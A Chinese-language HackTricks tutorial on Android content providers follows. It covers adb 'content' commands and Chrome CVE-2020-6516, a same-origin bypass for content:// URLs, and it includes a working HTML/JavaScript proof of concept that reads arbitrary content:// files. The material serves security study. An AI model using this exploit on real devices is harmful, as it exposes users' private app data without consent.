8.8 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品- The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
要尝试使用内容提供者,可以在Android设备上使用content
命令。不一定需要root访问权限。例如,要查看由媒体存储管理的文件列表,可以执行以下命令:
$ content query --uri content://media/external/file
为了使输出更加用户友好,可以将显示的列限制为每个索引文件的标识符和路径。
$ content query --uri content://media/external/file --projection _id,_data
媒体提供者存在于它们自己的私有命名空间中。如上例所示,要访问内容提供者,应指定相应的 content://
URI。通常,可以通过查看应用程序清单(如果内容提供者由应用程序导出)或Android框架的源代码来恢复可以访问提供者的路径信息。
有趣的是,在Android设备上,Chrome支持通过 content://
方案访问内容提供者。这个功能允许浏览器访问第三方应用程序导出的资源(例如照片、文档等)。为了验证这一点,可以在媒体存储中插入一个自定义条目,然后使用浏览器访问它:
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
要发现新插入文件的标识符:
$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
而要在Chrome中查看文件,可以使用以下图片中显示的URL。请注意,文件标识符747(上面发现的)被用作URL的后缀。
例如,您可以列出与WhatsApp相关的所有文件:
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
Chrome CVE-2020-6516 Same-Origin-Policy绕过
浏览器中的_同源策略_(SOP)[12] 规定,URL A的Javascript内容只能在以下URL属性保持相同的情况下访问URL B的内容:
- 协议,例如
https
vs.http
- 域名,例如
www.example1.com
vs.www.example2.com
- 端口,例如
www.example1.com:8080
vs.www.example1.com:8443
当然,上述规则也有例外情况,但通常情况下,来自 https://www.example1.com
的资源(例如一段Javascript代码)不能访问 https://www.example2.com
上的DOM,因为这会引入严重的信息泄漏。除非Cross-Origin-Resource-Sharing(CORS)策略明确允许,否则Web资源不应该绕过SOP规则。
需要注意的是,Chrome将 content://
视为_本地方案_,就像 file://
一样。在这种情况下,SOP规则更加严格,因为每个本地方案URL都被视为单独的源。例如,位于 file:///tmp/test.html 中的Javascript代码不应该能够访问 file:///tmp/test2.html 或者文件系统上的任何其他文件。**因此,根据SOP规则,通过 content://
加载的资源不应该能够访问任何其他 content://
资源。**然而,Chrome的漏洞CVE-2020-6516为此规则创建了一个“例外”。
CVE-2020-6516 [03] 是通过 content://
URL加载的资源的SOP绕过。**例如,从 content://com.example.provider/test.html
加载的HTML文档中运行的Javascript代码可以加载和访问通过 content://
URL加载的任何其他资源。**这是一个严重的漏洞,特别是在运行Android 9或之前版本的设备上。在这些设备上,未实现作用域存储 [13],因此可以通过系统的媒体存储内容提供程序访问位于 /sdcard 下的应用程序特定数据,更有趣的是可以访问位于 /sdcard/Android 下的数据。
一个简单的概念验证。将使用 XMLHttpRequest
访问任意 content://
URL 的HTML文档上传到 /sdcard 下。然后将其添加到媒体存储中,并在Chrome中呈现,类似于之前展示的示例。为了演示目的,可以尝试加载 content://media/external/file/747
,实际上这是“Hello, world!”示例的媒体存储URL。令人惊讶的是,运行在HTML文档源中的Javascript代码将获取并显示 test.txt 的内容。
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
从这篇文章中获取的信息: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。